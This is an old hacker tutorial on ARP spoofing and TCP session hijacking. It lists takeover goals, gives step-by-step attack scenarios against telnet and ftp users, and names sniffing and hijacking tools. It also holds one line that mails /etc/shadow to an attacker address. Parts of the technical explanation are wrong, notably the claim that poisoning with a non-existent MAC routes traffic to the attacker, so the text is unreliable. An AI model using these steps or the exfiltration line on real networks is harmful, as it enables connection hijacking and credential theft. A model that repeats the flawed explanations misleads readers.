ARP spoofing and IP hijacking

By: nebunu <nebunu@home.ro>

0: Disclamer

Dont mail me to ask me how to hack hotmail,porn sites,credit cards numbers, i'll just delete your message from my inbox!Feel free to email me if you got some source code for linux,some new ideas or some decent comments. I'm not responsable for your actions,this tutorial was written with the only purpose to show some of the vulnerability of the TCP implementation.

1: What you can do if you master this tehnique

-takeover completely a local network
-observe every packet that travells trough a network even if you are on a switched LAN
-reset/hijack/observe other users telnet/ftp/rlogin/imap/pop3 connections
-completely control your ISP segment/router you are connected on
-reset/capture users passwords on your internet segment(just using ppp0)
-things are even better if you are connected to Internet using a cablemodem

2: A little background first

You dont know yet what ARP(Address Resolution Protocol) stands for? Well,if you are on Windows,type:

```
c:/>temp>arp -a
```

while you are connected to net and you will see IP adresses and MAC addresses of the switched LAN segment you are connected to. (same thing on linux). Here is how an arp table looks like:

```
C:\>arp -a

Interface: 169.254.0.2 on Interface 0x2000002
  Internet-address          MAC address               Type
  169.254.0.1           00-10-4b-01-88-f3           dynamic
  169.254.0.101         00-e0-4c-39-65-6d           dynamic
```

o 169.254.0.2 is your IP address
o 0x2000002 is the code for your interface(in that case ppp0)
o 169.254.0.1 is the IP adress of the remote device you are connected to

o 00-10-4b-01-88-f3   is the MAC address of that machine
o dynamic   the link type

Let's observe the communication between my machine and 169.254.0.1.
I got on my arp table it's IP and MAC,it has on it's arp table my IP and
MAC. These values are updated once at 30 secs. If a malicious user sends
me a spoofed packet which maps 169.254.0.1 with a non-existent MAC, i
wont be able to communicate with 169.254.0.1 for at least 30 seconds!!
Enough for an attacker to hijack my session.
Take the following piece of network segment:

```
A-------------->|
D-------------->|B--------------->C
E-------------->|
```

A,D,E are connected to B,C is only connected to B. B is in the middle,it
can sniff everything while C,A,D,E can only sniff their traffic with B.
Suppose C is a hacker and he wants to sniff everything,what must he do?
A,D,E,C has entries in their arp table for B,B has entries for A,C,D,E.
If A,D,E would have been entries for C,then C would be able to sniff the
traffic!! In order to achieve that C must send them an arp reply containing
his IP and a non-existent MAC address.This tehnique is called duping
switches.A,D and E wont be able to find that MAC and they will send
packets to C,so C is able to sniff the info!

3: The attack

This can be applied on a LAN or a switched LAN.Of course it can be applied
using ppp0 instead of eth0,and any other possible device. Before we begin
lets make some notifications.

o lamer is an ordinary computer user
o server is a server
o hacker is a person who masters this tehnique (not necessary a cracker)

1)lamer connects to server using telnet,rlogin,ftp or anything else
beside SSH
2)hacker sends to lamer a spoofed arp packet containing server's IP
along with an invalid MAC address
3)hacker sends to server a spofed arp packet containing lamers's IP
along with an invalid MAC address
4)the connections between lamer and server is killed for almost
30 seconds
5)hacker can issue commands to server in lamer's place.

Another scenario:

1)lamer connects to server using telnet,rlogin,ftp or anything else
beside SSH
2)hacker sends to lamer an arp packed containing an invalid MAC
address
3)hacker sends to server an arp packed containing an invalid MAC
address
4)hacker can sniff the conversation between lamer and server.Now
lamer and server dont find a valid MAC address and sends their datas
to sender,in our case to hacker.

An excelent hijacking tool is hunt,written by Pavel Krausz.
It has a built in MAC discovery daemon,that lets you discover the other
devices connected to the switch. The tehnique explained above can be

applied on the Internet aswell as in a LAN!!

4: IP hijacking

Lets suppose I'm an ordinary computer user,i dont have security knowlegdes and i dont see the difference between telnet and ssh.I use telnet from home to start a session to my server. I enter my username and password.Then i will exchange datas to server without any form of authentification. An attacker being able to sniff around,will grab my SEQ/ACK numbers, reset my connection using arp poisoning and then will insert commands in my place. He can place easily a backdoor on my server!!(mail evil@hackers.com < /etc/shadow it's enough :) But to stop ACK storm interfering with his attack,a hacker must DoS me using arp poisoning or any other DoS method like SYN flooding. Remember how Kevin Mitnick hacked Shimomoura's network? Shimomoura was using rlogin becasue being the only owner of the network, he trusted every computers from within. Mitnick,situated outside the trusted zone,he impersoanted one of the trusted machines.
He easily guessed seq/ack's because the older software was vulnerable to ID predictions. Today,DNS cache poisoning/IP spoofing from the internet is hard because the right ID is very hard to predict.But,there is arp spoofing :).And i think that multithreaded bruteforcer will work, if you are lucky enough :)

5: Tools

Hunt-the best hijacking tools ever existed(I tested it) jarpspoofing-a simple arp spoofing tool shijack-a simple hijacking tool published on http://www.securiteam.com arpredirect-poison all hosts form your switched LAN or only a chosen host tcpkill-kills TCP connections on a switched LAN mailsnarf-sniff email messages and puts them into a readable file tcpnice-slows the TCP connections on a LAN
dsniff-ftp/telnet/imap/sql/smb/x11/http password sniffer Sorry,i dont know any spoofing/poisoning tools written for Windows.

6: Securing your system

Well, a command that locks arp table is:
[root@server]#arp -v -i eth0 -s 213.233.70.1 00:31:6B:94:32:A8

Once you issue that command that arp entry could not be deleted/updated/forged! As far as i know FreeBSD can be made completely secure by compiling the kernel with right parameters, but something about that on another tutorial :)

7: My incoming project

What i have in mind is to build a hijacking tool that not require a LAN, it must work with ppp0/eth0 but only on Internet.Yeah,i know it's a bit harder,because i wont be able to get SEQ/ACK authentification numbers and i have to bruteforce them.It might take several days to work if i'm lucky, but i have an idea.:). A multithreaded hijacking tool. That will speed things up.But i have some problems with the code,if you can help me,please email me,i'll be grateful.

oo Greetings
zwanderer -if you are reading this,say thanks to him :)
dataholic -c'mon man,install linux

suspect -now you know why /tmp dir i so iportant? :)
Silver -for correcting my lame english everytime i asked her to